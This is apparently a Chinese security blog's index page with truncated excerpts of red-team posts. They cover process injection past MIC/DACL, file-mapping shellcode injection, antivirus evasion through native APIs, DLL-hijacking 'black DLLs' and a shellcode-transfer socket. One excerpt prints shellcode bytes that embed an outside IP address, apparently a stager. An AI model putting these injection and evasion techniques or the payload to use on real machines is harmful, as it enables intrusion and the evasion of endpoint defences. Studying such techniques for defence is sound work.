2020-10-26 19:31:16    728    0    0
  • 因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:
    https://shimo.im/docs/rKXY8V9rrYPt3xKK/ 《Bypass DACL 注入进程(二)》

Bypass MIC & DACL 注入进程 一文中,有几个需要注意的地方。

调用链是:
1. OpenProcessToken
2. LookupPrivilegevalue
3. AdjustTokenPrivileges

目的是使用 OpenProcess 使用写权限去打开远程进程句柄,通过对当前进程启用 SeDebugPrivilege 特权绕过远程进程内存保护的限制。

但是启用此特权的前提是,当前进程具有此特权。

普通用户特权:

Title

Administrator 组用户特权:

Title

可以看到,Administrator 组的用户才具备此特权,只是被禁用了。所以我们需要通过调用 AdjustTokenPrivileges API 来启用此特权。

AdjustTokenPrivileges 函数(securitybaseapi.h)
该 AdjustTokenPrivileges 功能启用或禁用特权在指定的访问令牌。启用或禁用访问令牌中的特权需要 TOKEN_ADJUST_PRIVILEGES 访问。

以普通用户运行的 Visual Studio 中执行以下测试代码,发现不启用 SeDebugPrivilege 时,无法打开 pid 为 5192 的进程句柄。

此进程为 Session 0 中的宿迁进程 svchost.exe

尝试启用 SeDebugPrivilege,发现依然无法打开 pid 为 5192 的进程句柄。

这是符合以上我们所说的 token 特权问题的。也就是普通用户根本就无 SeDebugPrivilege 这一特权,所以启用此特权也是无效的。

所以结论是:

Administrator 组成员的 access token 中会含有一些可以执行系统级操作的特权(privileges) ,如终止任意进程、关闭/重启系

2020-10-19 19:48:28    959    0    0

在远程进程注入之 shellcode 注入的时候,常规方案是:

VirtualAllocExWriteProcessMemory

注意这里必须是 VirtualAllocEx 而非 VirtualAlloc,因为 VirtualAlloc 是给调用进程分配内存;而 VirtualAllocEx 才是给另一个进程的地址空间中分配内存。

现在这两个函数都挺敏感的,在下曾经遇到过天擎拦截 WriteProcessMemory。当然我们可以对 API 作精修,比如替换为内核函数,这样可以绕过 uerland hook。就算是 inline hook,也可以使用 syscall 进行绕过。

但其实要完成[在远程进程中分配内存并将shellcode复制进去]这一任务,还可以使用一套API链,也就是所谓的映射注入 File Mapping

我不是故意想搞名词,名词是为了概括,东西并不难,我只是记录一条链,不喜勿喷。

思路一

CreateFileMappingMapViewOfFileMapViewOfFile2

原理见我的亲兄弟idiotc4t的文章 Mapping Injection

CreateFileMapping
创建或打开指定文件的命名或未命名文件映射对象。

MapViewOfFile
将文件映射的视图映射到调用进程的地址空间。

MapViewOfFile2
将文件或页面文件支持的部分的视图映射到指定进程的地址空间。

概括一下注入流程:

  1. 在注入进程/调用进程创建文件映射对象 mapping(使用 CreateFileMapping API)
  2. 将 mapping 映射到注入进程的虚拟地址(使用 CreateFileMapping API)
  3. 往被映射的虚拟地址写入shellcode(memcpy 库函数)
  4. 打开被注入进程句柄
  5. 将 mapping 映射到被注入进程虚拟地址(使用 MapViewOfFile2 API)

代码实现(我把这个过程自己封成了一个函数 MappingShellcodeFile):

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #
2020-10-19 11:01:48    726    0    0
  • 1、 创建进程时候隐藏窗口
  1. //可以在startinfo里面指定
  2. si.wShowWindow=SW_HIDE;
  3. si.dwFlags=STARTF_USESHOWWINDOW

//也可以在createflags里面指定

title

2020-09-22 21:43:33    677    0    0

0x01 逻辑异或/单位异或

异或(XOR)本身是一个 Boolean binary operator

  • 接收两个参数
  • 输入和输出都只能是 true 或 false
  • 结果为 1(true) 或者 0(false)

异或运算到底做了什么?

programmable inverter:一个输入 bit 决定是否去倒置另一个输入 bit,或者仅仅是不加改变的保留。

倒置/翻转规则:

  • 0 XOR 0 = 0
  • 1 XOR 1 = 0
  • 1 XOR 0 = 1
  • 0 XOR 1 = 1

也就是当参数中的一个为真(但不是 both)时输出为真。

0x02 按位异或

上面的异或是操作的单位 bit 或布尔值。当我们处理包含多位(bit)的值时,大多数编程语言提供了对整数“按位异或”(bitwise XOR)的方法。

  1. 将两个整数表示为二进制形式
  2. 对参数对应位进行异或

如:

title

0x03 编程语言中的按位异或

C/C++:

C或C ++中的^(按位XOR)将两个数字用作操作数,并对两个数字的每一位进行XOR。如果两个位不同,则XOR的结果为1。

  1. // C Program to demonstrate use of bitwise operators
  2. #include <stdio.h>
  3. int main()
  4. {
  5. // a = 5(00000101), b = 9(00001001)
  6. unsigned char a = 5, b = 9;
  7. // The result is 00001100
  8. printf("a^b = %d\n", a ^ b);
  9. return 0;
  10. }
  11. //输出:
  12. a ^ b = 12

c#:

  1. 逻辑异或运算符^
  2. 该^操作符计算它的操作数的逻辑异或,也称为逻辑XOR。对于bool操作数,^运算符计算的结果与不等式运算符(!=)相同。
  3. Console.WriteLine(true ^ true); // output: False
  4. Console.WriteLine(true ^ false); // output: True
  5. Console.Write
2020-09-22 10:33:29    620    0    0

0X01 问题

在 C++ 中,如果一个结构体是这样的:

title

那么在 VBA(Visual Basic) 中,这个结构体应该这样被定义:

  1. Private Type PROCESSENTRY32
  2. dwSize As Long
  3. cntUsage As Long
  4. th32ProcessID As Long
  5. th32DefaultHeapID As LongPtr
  6. th32ModuleID As Long
  7. cntThreads As Long
  8. th32ParentProcessID As Long
  9. pcPriClassBase As Long
  10. dwFlags As Long
  11. szExeFile As String * MAX_PATH
  12. End Type

但是我遇到了这样一个结构体:

title

VBA 是不支持 UNION 的。那我如何定义这个结构体呢?

0X02 方法一:使用 LSet

  1. typedef struct{
  2. BYTE StructValue1;
  3. BYTE StructValue2;
  4. union{
  5. BYTE ByteData[16];
  6. WORD WordData[8];
  7. }Data;
  8. }MyStruct;
  1. 如何实现 UNION?
  2. 如何实现指向结构体的指针?
  1. Type TMyStruct_1
  2. StructValue1 As Byte
  3. StructValue2 As Byte
  4. ByteData(15) As Byte '(0 to 15) = 16 items in array
  5. End Type
  6. Type TMyStruct_1
  7. StructValue1 As Byte
  8. StructValue2 As Byte
  9. WordData(7) As Integer '(0 to 7) = 8
2020-09-20 21:35:15    823    0    2

请将本文与 Bypass DACL 注入进程(二) 一文结合阅读。

0x01 MIC & DACL

在进程注入的时候,需要使用 OpenProcess 打开进程句柄,同时 dwDesiredAccess 参数一定会包括 PROCESS_VM_WRITE 特权。但是要使用写权限去打开另一个进程会有一些限制和保护机制,这些限制和保护机制包括:

  • Mandatory Integrity Control (MIC)
  • Protected Process(PP) & Protected Process Light(PPL)

本文中主要讨论 MIC。

MIC is a protection method to control access to objects based on their "Integrity level".
There are 4 integrity levels:

  • Low Level for process which are restricted to access most of the system (for example Internet explorer)
  • Medium Level is the default for any process started by unprivileged users and also administrator users if UAC is enabled.
  • High level is for process running with administrator privileges
  • System level are ran by SYSTEM users, generally the level of system services and process requiring the highest protect
2020-09-20 16:36:27    743    0    0
  • 敬告:为避免有人恶意分析,本文中对 shellcode 作了部分删减。所以长度对不上。

  • 因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看 https://shimo.im/docs/YqpKhVYYgwjk9xY8/

0x01 需求

奇怪的需求:

从命令行接收 shellcode,存储为无符号十六进制 char 数组。

示例输入:

  1. \xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\x29\xd8\x28\x48\xb6\x74\xa0\xa8\xcd\x7a\xf7\xb9\x40\x63\xfd\xd1\x1d\x60\x8f\x48\xcd\xee\xd2\x52\x9a\x75\x14\x60\x9e\x78\x9b\x2e\xc1\x59\xc1\xc6\x50\x1b\x57\xbd\xdd\x68\xd7\xb1\xf2\x27\x78\x3c\x0e\x64\x3f\x8e\xaa\x33\x67\x89\x4d\x6b\x21\xf6\x89\x0a\x4a\xbf\xba\x1d\x08\x0e\x04\xec\x9a\xb3\xab\x4c\x64\xd9\x7a\xf0\xf2\x09\x3c\x49\x70\x16\xfd\x7a\x9c\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x35\x34\x2e\x32\x30\x39\x2e\x38\x36\x2e\x35\x37\x00\x12\x34\x56\x78

示例输出:

  1. /*
2020-09-17 13:43:36    1127    0    0

因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:https://shimo.im/docs/VJyDCRwT3qJqjY89/

起因是我的 WriteProcessMemory API 被某 AV 静态查杀。刚好以此 API 为例给出三种替换 R3 API 为对应内核 API 进行免杀的方式。

代码都是从我自己的项目中复制的一些,所以有无关代码,看重点就好。

方法1:ntdll.lib

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <tchar.h>
  4. #include <conio.h>
  5. #include <iostream>
  6. #include <tlhelp32.h>
  7. #include <typeinfo>
  8. #include "corecrt_wstring.h"
  9. using namespace std;
  10. #pragma comment(lib, "ntdll.lib")
  11. extern "C" __declspec(dllimport) NTSTATUS NTAPI NtWriteVirtualMemory(
  12. IN HANDLE ProcessHandle,
  13. IN PVOID BaseAddress,
  14. IN PVOID Buffer,
  15. IN ULONG NumberOfBytesToWrite,
  16. OUT PULONG NumberOfBytesWritten);
  17. void _tmain(int argc, _TCHAR* argv[])
  18. {
  19. STARTUPINFO si;
  20. PROCESS_INFORMATION pi;
  21. BOOL process_result = 0;
  22. BOOL memory_result = 0;
  23. BOOL context_result = 0;
  24. BOOL eip_result = 0;
  25. DWORD resume_resul
2020-09-16 15:12:05    764    0    0

因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:https://note.roger101.com/blog/post/snowming/3958aac6882e

本文用 C# 实现简单的 socket TCP 传输,对于后续通过网络传输方式传输 shellcode 等起铺垫作用。

0x01 原理

title

title

《HTTP权威指南》P84

API 调用链:

title

0x02 代码实现

目前实现的是短连接。

服务端:

  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Security;
  5. using System.Text;
  6. using System.Threading;
  7. namespace 免杀Server
  8. {
  9. public class Server
  10. {
  11. //该程序创建一个套接字,然后开始无限循环。每次通过循环时,它接受一个连接并打印数据。当连接断开或连接客户端关闭时,程序接受新连接。
  12. //1. 创建一个 Socket 来基于 TCP 协议交换数据
  13. //AddressFamily 是一个 Enum;SocketType 也是一个 Enum
  14. //socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
  15. //设置static其他类里面的方法使用时候就不用Server.socket
  16. static Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  17. //从绑定的 Socket 接受数据到缓冲区,缓冲区设为一个1024字节的字节数组
  18. private static byte[] receivedBuffer = new byte[1024];
2020-09-09 14:03:10    716    0    0

因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:https://note.roger101.com/blog/post/snowming/08900703978d

起因是朋友给了我一个白 EXE,让我做个黑 DLL,交流交流手法。

经我测试,我要劫持的是 Common.dll 这个导入表里面的 DLL(隐式加载,位于 .rdata 节区):

title

此 DLL 有两个导出函数,因为我没有对应的 Common.dll,所以当我写黑 DLL 的时候,不能简单地做函数转发。虽然我已经找到原 Common.dll 了,但是感觉这样就太作弊了,失去了交流的意义,于是我要自己实现 Common.dll这个黑 DLL。

这个 DLL 特殊的地方主要在于两个导出函数都是被名称改编了的。这样的话如果我用 dllexport 方法导出,里面的 @? 等特殊符号无法通过函数名的语法规则。

0x01 第一次尝试:.def 文件

  1. LIBRARY
  2. EXPORT
  3. ?InitBugReport@XXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z=Func1
  4. ?ValidateBugReport@XXBugReport@@YAXXZ=Func2

然后在原 DLL 工程里面实现了 Func1 和 Func2。也就是我为源码中的 Func1 和 Func2 指定了导出的名字,分别为那一大串。

编译通过了,看起来没问题。结果我发现,生成的 DLL 的导出函数名,会被 @ 符号截断,那么实际生成的两个导出函数就是:

  1. ?InitBugReport
  2. ?ValidateBugReport

如何避免这个@截断呢?我在网上搜了半天,发现一个老外提过和我一样的问题:https://stackoverflow.com/questions/7413242/visual-c-exporting-decorated-function-name-in-a-def-file

回答就一个,推荐他用 __declspec(dllexport)。可是